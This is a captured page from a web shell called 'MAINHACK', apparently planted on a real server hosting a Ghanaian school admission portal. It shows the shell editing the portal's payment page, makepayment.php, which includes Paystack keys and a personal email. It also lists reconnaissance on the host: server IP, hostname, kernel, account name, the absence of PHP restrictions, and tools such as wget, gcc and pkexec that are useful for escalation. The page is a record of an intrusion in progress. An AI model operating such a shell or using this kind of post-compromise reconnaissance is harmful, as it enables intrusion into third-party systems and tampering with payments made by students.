[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: makepayment.php
<?php include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $index = $_SESSION['index_no78897498']; $indexx = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$index'"); $fetchsch = mysqli_fetch_array($indexx); $school_code = $fetchsch['s_code']; $student_name = $fetchsch['stud_name']; $getlogo = mysqli_query($new,"SELECT * FROM schools WHERE school_code = '$school_code'"); $logocon = mysqli_fetch_array($getlogo); $logoo = $logocon['logo']; $school_name = $logocon['school_name']; ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Makepayment | Online Admission Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="elisof" name="author" /> <!-- App favicon --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <script src="https://js.paystack.co/v1/inline.js"></script> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <div class="bg-light-subtle min-vh-100 py-5"> <div class="py-4"> <div class="container"> <div class="row"> <div class="col-lg-12"> <div class="text-center p-5 bg-light rounded shadow-sm"> <div class="mb-4"> <h4 class="text-uppercase text-dark font-weight-bold">Dear <?php echo $student_name; ?>,</h4> <h5 class="text-muted mt-3"> You have been successfully placed in <span class="text-primary font-weight-semibold"><?php echo $school_name; ?></span>.<br> Please proceed to pay in order to complete your enrolment form. </h5> </div> <div class="d-flex justify-content-center align-items-center my-4"> <i class="mdi mdi-cog spin-right display-3 text-primary me-2"></i> <i class="mdi mdi-cog spin-left display-4 text-primary"></i> </div> <button type="button" onclick="payWithPaystack()" class="btn btn-success btn-lg px-5 mt-3"> Click to make payment </button> </div> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- end container --> </div> </div> <!-- end --> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <script> function payWithPaystack() { const email = "afoakwastephen80@gmail.com"; const amount = 45 * 100; // Amount in kobo (for NGN) or pesewas (for GHS) const handler = PaystackPop.setup({ key: 'pk_test_d559cefe97a82c09fd8aaf9d519c087f6f3955a8', // Replace with your Paystack public key email: email, amount: amount, currency: 'GHS', // Ghanaian Cedi ref: 'BBCAS_' + Math.floor(Math.random() * 1000000000 + 1), // Unique transaction reference callback: function(response) { window.location.href = 'paymentsuccess.php?reference=' + response.reference; }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script> <!-- <script> function payWithPaystack() { const email = "afoakwastephen80@gmail.com"; const amount = 45 * 100; // Paystack expects amount in the smallest unit, so multiply by 100 const handler = PaystackPop.setup({ // key: 'pk_live_9ddb0e18d5c748331ba35fa8a15f5db57b5c6a94', key: 'pk_test_5bdc5a9fdba93040aa93ec1fd26bf3c9a5eb27f9', // Replace with your Paystack public key email: email, amount: amount, currency: 'GHS', // Set the currency to Ghanaian Cedi ref: 'PSK_' + Math.floor(Math.random() * 1000000000 + 1), // Unique transaction reference callback: function(response) { //alert('Payment successful! Reference: ' + response.reference); window.location.href = 'paymentsuccess.php?reference=' + response.reference; }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script> --> <!-- <script> function payWithPaystack() { const email = "info@gmail.com"; const amount = 45 * 100; const handler = PaystackPop.setup({ key: 'pk_test_5bdc5a9fdba93040aa93ec1fd26bf3c9a5eb27f9', // Replace with your Paystack public key email: email, amount: amount, currency: 'GHS', ref: 'PSK_' + Math.floor(Math.random() * 1000000000 + 1), // Unique transaction reference callback: function(response) { window.location.href = 'paymentsuccess.php?reference=' + response.reference; }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script> --> </body> </html> <?php }?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002